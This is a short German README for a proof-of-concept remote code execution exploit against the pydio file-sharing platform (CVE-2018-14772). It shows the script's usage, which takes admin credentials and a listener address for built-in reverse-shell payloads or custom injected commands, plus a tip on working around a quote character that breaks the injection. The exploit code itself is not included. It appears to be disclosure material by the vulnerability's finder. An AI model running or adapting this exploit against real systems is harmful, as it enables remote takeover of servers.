CVE-2018-14772

Info

Dies ist ein Proof-of-Concept-Exploit für Remote Code Execution (CVE-2018-14772), eine Schwachstelle, die ich in der Dateifreigabe-Plattform pydio entdeckt habe. Für den Betrieb sind Administrator-Anmeldeinformationen der pydio-Anwendung erforderlich. Sie können den Exploit wie folgt ausführen:

Verwendung

$ python exploit.py -h
usage: exploit.py [-h] -t TARGET -u USERNAME -p PASSWORD -L LISTENER_IP -P
                  LISTENER_PORT [--payload PAYLOAD]

[*] exploit some pydio boxes (academically)

optional arguments:
  -h, --help         show this help message and exit
  --payload PAYLOAD  one of the pre-built reverse-shell payloads (1, 2, 3, 4,
                     or 5), or a custom command. keep in mind you can't use
                     the (") character as it breaks the injection

required arguments:
  -t TARGET          this is the target URI for the pydio instance..i.e.
                     http://127.0.0.1:31337/pydio/
  -u USERNAME        this is the username of the admin user
  -p PASSWORD        this is the password of the admin user
  -L LISTENER_IP     IP address to catch reverse shell on
  -P LISTENER_PORT   port to catch reverse shell on

Ich habe einige Reverse-Shell-Payloads integriert, die Sie ausprobieren können. Zusätzlich können Sie Ad-hoc-eigene Shell-Befehle verwenden. Beachten Sie, dass die Verwendung des "-Zeichens die Befehlseinschleusung unterbricht, sodass Sie diese Einschränkung umgehen müssen.

Beispiel-Ausnutzung

Analyse

gefunden auf meinem Blog hier